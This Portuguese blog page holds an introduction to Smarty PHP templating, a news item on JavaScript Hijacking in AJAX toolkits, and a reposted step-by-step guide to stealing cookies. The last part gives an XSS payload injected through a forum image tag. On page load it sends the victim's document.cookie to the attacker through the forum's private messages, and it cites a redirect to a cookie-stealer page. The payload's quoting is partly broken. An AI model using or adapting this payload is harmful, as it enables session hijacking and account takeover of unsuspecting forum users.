Conspiração no desenvolvimento WEB/Desktop

Bom como estou sumido, resolvi colocar alguns artigos mostrando como desenvolver um site muito rapidamente separando os mundos da programação PHP do WebDesign. Ah e no final vou dar uma palhinha sobre tudo isso com acesso a qualquer banco de dados e AJAX com Bando de dados também, já que muitos tem duvidas sobre isso.

Quem for lendo esse artigo e os próximos, vão ver que no final não vão querer mais trabalhar sozinhos, ou melhor vão querer se especializar em uma unica atividade e claro nao vao querer largar do smarty+php+db+ajax hehehehe.

1. Um pouco de teoria
2. Smarty PHP para programadores PHP
3. Smarty PHP para WebDesigner´s
4. Integrando os dois mundos (WebDesigner+Programador)
5. Exemplo de página com acesso ao qualquer banco de dados (usando packages da PEAR.php.net)
6. Exemplo de página com AJAX consultando banco de dados e com o smarty.

1. Um pouco de teoria

O que é Smarty?

Tomando a definição do próprio site oficial (smarty.php.net), temos que Smarty é um sistema de templates para PHP, fornecendo uma maneira fácil de controlar a separação da aplicação lógica e o conteúdo de sua apresentação.
O principal objetivo de se utilizar a arquitetura MVC* é a de separar a lógica da aplicação (as regras de negócio do seu programa), da interface do usuário (as telas do programa) e do fluxo da aplicação (como são enviadas as mensagens dos eventos e para quem).

Mas porque eu teria um trabalho enorme em separar meu sistema nessas três camadas?

Quem vem acompanhando os meus post´s já notaram que sou um viciado em PHP :) e que podemos fazer milhões de coisas com essa ferramenta, entao vamos pensar um pouco mais.
Tenho uma empresa que desenvolve sites para web/intranet e tenho uma equipe de pelo menos duas pessoas, um programador PHP e um webdesigner. Ai pegamos um projeto de um site de pedidos, coisa simples:

a. controle de login de clientes
b. alteracao de cadastro de clientes
c. cadastro de produtos
d. cadastro de pedidos
e. listagem de pedidos
f. manutencao de pedidos

Ok um programador PHP faz tudo isso sozinho na boa sem precisar do webdesigner, mas agora pensem assim vc programador PHP só fazer o php sem se preocupar com o layout e nenhum código HTML, tah até agora nada disso eh muito visivel, com o desenrolar do artigo e seus tópicos vou argumentando algumas idéias de como tudo isso irá facilitar no nosso dia a dia. Voltando para o projetinho, ok foi feito em smarty o site para web; a empresa gostou começou a ter mais agilidade nas vendas dos seus produtos e viu que esse site comecou a ficar lento pois está hospedado fora da empresa e tudo mais, agora quizeram colocar o webserver dentro da propria empresa, contrataram mais funcionarios para atender essas solicitações, então quer dizer que o seu cliente CRESCEU, com sua ajuda. Podemos agora para agilizar fazer uma intranet com menos imagem(aquela coisa toda para web) deixar as telas mais limpas e objetivas, já q será somente os funcionarios da empresa q estaram fazendo a manutencao naqueles pedidos e clientes. Entramos na jogada novamente, ufaaaa ganhar mais uma graninha hehehe.
Oh maravilha, fizemos o site com smarty PHP, entao quer dizer as regras de negócio já estão feitas o programador PHP nao vai ter q refazer todos aquele acesso ao banco de dados, select´s e validacoes, nada... e sim alguns ajustes, e quem vai ter q trabalhar nesse caso eh o WebDesigner isso o programador de TELA(HTML) melhor dizendo tirando os frufrú das páginas e fazendo uma intranet reutilizando as variáveis que o programador PHP já havia feito e bingo a intranet está feita.
Agora vão me perguntar, e o programador PHP nao ganha nada nessa historia? bom pensamos que ele pode estar empenhado já em outro projeto e ganhando bem mais, e claro ele vai trabalhar um pouco nesse pequeno, mas nao vai mais se preocupar em pegar aqueles detalhezinhos do tipo, se o cliente for do SUL dar um desconto de 50% e o restante deixar normal, ah essas pecuinhas, o sistema já vai estar pronto para isso.
Tah e se nao tiver outro trabalho para o programador PHP, tipo ele está precisando ganhar R$, bom cara, vai estudar outra coisa, aperfeicoar para pegar mais mercado, uma dica eh estudar PHP-GTK, pois quem sabe depois esse mesmo projeto não vai cair numa loja e dai web/intranet são lentos para isso, o que melhor se encaixa eh uma aplicação DESKTOP, e o mais legal que no desktop vc vai se preocupar com o visual, pois a regra, lembra? já está feito.

Nossa entao vamos agora para a prática, já que um breve da teoria do nosso cotidiano já foi +/- explicado.

Não desanimem, estou escrevendo o próximo artigo, mais técnico.
2. Smarty PHP para programadores PHP ....

*MVC: Model View Controler


Aplicações web 2.0 têm brecha de segurança

Uma falha crítica em sistemas web 2.0 permite o roubo de informações dos usuários.

A vulnerabilidade localiza-se no AJAX e existe em três dos principais kits de ferramentas para servidores: ASP.Net AJAX (Atlas), da Microsoft, Google Web Toolkit e xajax, uma implementação AJAX de código aberto baseado em PHP.

Segundo a empresa de segurança Fortify Software, a falha nos kits permite explorar uma brecha conhecida como JavaScript Hijacking. O AJAX, sigla de Asynchronous JavaScript and XML, é uma das bases técnicas para as aplicações de web 2.0.

Na avaliação da Fortify, a origem do problema está em que as aplicações AJAX estão deixando de lado o X, de XML. Assim, a aplicação faz tudo em JavaScript e fica desprotegida.

Fonte: INFO Online 


Artigo que explica passo-a-passo a nova técnica de roubo de cookies, por meio de AJAX.

Estava lendo na Total Security um artigo que mostra como alguém pode roubar cookies usando ajax.

"A grande maioria de ladrões de cookies utiliza métodos de localização em javascript; exemplo window.document.location=http://www.totalsecurity.com.br/ladraodecookie.php. Isso irá redirecionar o internauta para uma página diferente. Agora vamos tentar usar javascript inline, javascript: window.document.location=http://www.sitequequeroredirecionar.com; Essa é a forma mais velha de roubo de cookies. Mas usuários menos bestinhas, até mesmo os bestinhas desconfiarão, pois não estaram no endereço em que iniciaram. Por isso usar AJAX, você poderá roubar cookies de forma silenciosa. Resultado final: pessoas visitam algo como um fórum, até ai tudo bem, do nada a cookie do mesmo é roubada. Nada parece ter acontecido.

Ficou curioso como funciona? Pois bem... imaginemos que estamos em um fórum, que por sua vez tenha uma falha XSS. A missão é infiltrar no fórum, inserir um código javascript(AJAX, é claro) usando a tag para driblar o sistema do fórum. Nesse código, o usuário mandará o cookie dele para você numa mensagem privada, usando o sistema de mensagem do fórum, é claro :)

  1. *tags modificadas para [] respectivamente.<br />
  2. [img src=javascript:<br />
  3. //Vamos setar XMLHttpRequestObject falso para ver se retornará verdadeiro depois..<br />
  4. var XMLHTTPRequestObject = false;<br />
  5. if (window.XMLHttpRequest)<br />
  6. {<br />
  7. XMLHttpRequestObject = new XMLHttpRequest();<br />
  8. }<br />
  9. else if(window.ActiveXObject)<br />
  10. {<br />
  11. XMLHttpRequestObject = new ActiveXObject(Microsoft.XMLHTTP);<br />
  12. }<br />
  13. else<br />
  14. {<br />
  15. alert(Javascript não está ativado.);<br />
  16. }

O código acima é simples, verificará se XMLHttpRequest poderá ser gerado. Se não, uma caixa de alerta será mostrada e o resto do código que será inserido agora, não entrará em funcionamento.

  1. function socket()<br />
  2. {<br />
  3. /*A linha a seguir é muito importante. Se o site está usando POST para enviar as mensagens, então terá de mudar o código usando o seu HTTP debugger. Em SEUNOMEDEUSUÁRIO, você botará seu login no fórum para receber mensagem privada com o cookie da vítima pelo sistema de mensagem privada do fórum*/<br />
  4. XMLHttpRequestObject.open('GET', 'http://www.sitequalquer.com/privatemessage.php user=SEUNOMEDEUSUÁRIO&subject=' + window.document.cookie, true);<br />
  5. XMLHttpRequestObject.setRequestHeader(Content-Type, application/x-www-form-urlencoded);<br />
  6. XMLHttpRequestObject.send(null);<br />
  7. //Out of the Goodness of our heart =p<br />
  8. delete XMLHttpRequestObject;<br />
  9. }<br />
  10. //Não esquecer de fechar a tag, afinal, isso é uma imagem <img src="http://www.rstoever.com/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /><br />
  11. window.document.onload='socket();']<br />
  12.  

Esse foi um exemplo claro e bem-sucedido de um código em AJAX para um fórum, em que, quando o post for acessado, o usuário enviará uma mensagem privada com o seu respectivo cookie para quem você desejar."

Fonte: Total Security